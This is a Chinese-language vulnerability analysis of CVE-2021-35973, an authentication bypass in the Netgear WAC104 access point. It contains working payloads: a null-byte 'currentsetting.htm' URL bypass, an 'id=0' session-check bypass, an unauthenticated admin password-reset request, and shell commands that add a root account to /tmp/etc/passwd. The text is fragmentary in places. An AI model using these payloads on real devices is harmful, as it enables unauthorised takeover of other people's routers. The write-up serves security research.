时间:2021年7月15日
0x01 漏洞分析
http认证绕过
%00currentsetting.htm
来达到身份认证绕过,本来一开始以为是类似于之前的Netgear的一个身份认证绕过,通过strstr()
此类函数直接判定URL中包含一些全局资源,然后无条件返回请求的资源,但是,并不是这样的,而是currentsetting.htm
字段会触发一个判定标志,这个标志=1会直接使判定通过。这个标志在http解析流程中一共有三个被赋值的地方,分别是:00407A28
开始的函数,也就是http的处理流程,当header的解析时,当SOAPAction
字段包含特定的字符串urn:NETGEAR-ROUTER:service
00407A28
地址开始,同样在http解析流程中,当请求URL中包含字符串setupwizard.cgi
GET /file-to-access%00currentsetting.htm HTTP/1.1
发生在setup.cgi中的sesstion id认证绕过
/tmp/SessionFile
文件的读取。先从POST请求中获取id字段的值,然后通过一个子函数sub_403F04
从/tmp/SessionFile
中读取存在系统中的id,二者进行比较。如果相同则通过了id的校验。验证逻辑关键代码如下:id_loc = strstr(post_data, "id=");
if (id_loc) {
id_from_post = strtol(id_loc + 3, &v19, 16); // 字符串转换成长整数, v19指向处理完id后的字符串
if(v19 && strstr(v19, "sp=")) // 根据id和sp字段寻找session_file
snprintf(session_file, 128, "%s%s", session_file)
if (id_from_post == sub_403F04(session_file))
goto verify_success_label;
}
sub_403F04
中存在逻辑上的问题,如果session_file
不存在,id_from_file
会直接返回0。那么,就可以通过构造id=0&sp=ABC
这种肯定找不到session_file
的字段,从而达到id_from_post == id_from_file == 0
验证通过。int sub_403F04(char* session_file) {
id_from_file = 0;
File* f = fopen(session_file, "r");
if (f) {
fscan(f, "%x", &id_from_file);
fclose(f);
}
return id_from_file;
}
setup.cgi未检验密码修改
REQUEST_METHOD
获取请求方式,例如GET或POST;读取QUERY_STRING
获取请求参数;然后通过写入能唯一标识会话的一些参数到文件中,用于会话管理。最后就是具体的对用户发送的数据进行处理。这个流程可以在setup.cgi文件逆向的main
函数中查看,还是比较清晰明了。sub_40808
。但是,这个函数在cgi中没有被调用过?那么作者是如何得到这个接口的呢,直接通过抓包么。先直接给出payload,通过构造如下的方式可以重新设置密码。GET /setup.cgi?todo=con_save_passwd&sysNewPasswd=ABC&sysConfirmPasswd=ABC%00currentsetting.htm HTTP/1.1
Host: aplogin
sub_40808
的逆向,流程也很简单,检查两次输入的新密码是否相同,如果相同,就写入到NVRAM中的http_password中。但是如果要永久更改admin账号的密码到/etc/passwd和/etc/htpasswd中,可以通过如下两种方式之一:/tmp/etc目录权限管理
/setup.cgi?todo=debug
。此时通过telnet登录得到的权限是admin权限,而不是root权限。但是因为/tmp/etc目录权限管理的问题,可以在/tmp/etc/passwd中添加一个root权限的账号。操作如下:cd /tmp/etc
cp passwd passwdx
echo toor:scEOyDvMLIlp6:0:0::scRY.aIzztZFk:/sbin/sh >> passwdx
mv passwd old_passwd
mv passwdx passwd
0x02 小结
0x03 漏洞影响面
参考链接:
https://www.seebug.org/vuldb/ssvid-99295
往 期 热 门
(点击图片跳转)
yapi 远程命令执行漏洞分析
404 StarLink Project 2.0 - Galaxy 第七期
傻瓜式 fuzzing 系列一
本文始发于微信公众号(Seebug漏洞平台):CVE-2021-35973:Netgear wac104 身份认证绕过
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论